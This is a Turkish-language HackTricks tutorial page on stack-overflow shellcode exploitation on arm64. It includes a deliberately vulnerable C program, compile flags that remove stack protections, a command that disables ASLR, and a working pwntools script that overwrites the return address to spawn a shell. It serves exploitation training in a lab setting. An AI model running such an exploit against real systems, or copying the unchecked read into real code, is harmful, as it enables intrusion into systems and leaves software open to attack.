# Stack Shellcode - arm64 {{#include ../../../banners/hacktricks-training.md}} arm64'e giriş için şunu bulun: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code ```c #include #include void vulnerable_function() { char buffer[64]; read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { vulnerable_function(); return 0; } ``` PIE, canary ve nx olmadan derleyin: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## No ASLR & No canary - Stack Overflow ASLR'yi durdurmak için: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` [**bof ofsetini bulmak için bu bağlantıya bakın**](../ret2win/ret2win-arm64.md#finding-the-offset). Sömürü: ```python from pwn import * # Load the binary binary_name = './bof' elf = context.binary = ELF(binary_name) # Generate shellcode shellcode = asm(shellcraft.sh()) # Start the process p = process(binary_name) # Offset to return address offset = 72 # Address in the stack after the return address ret_address = p64(0xfffffffff1a0) # Craft the payload payload = b'A' * offset + ret_address + shellcode print("Payload length: "+ str(len(payload))) # Send the payload p.send(payload) # Drop to an interactive session p.interactive() ``` Burada bulunması "karmaşık" olan tek şey çağrılacak olan yığın adresidir. Benim durumumda, gdb kullanarak bulunan adresle istismarı oluşturdum, ancak daha sonra bunu istismar ederken çalışmadı (çünkü yığın adresi biraz değişti). Oluşturulan **`core` dosyasını** açtım (`gdb ./bog ./core`) ve shellcode'un başlangıcının gerçek adresini kontrol ettim. {{#include ../../../banners/hacktricks-training.md}}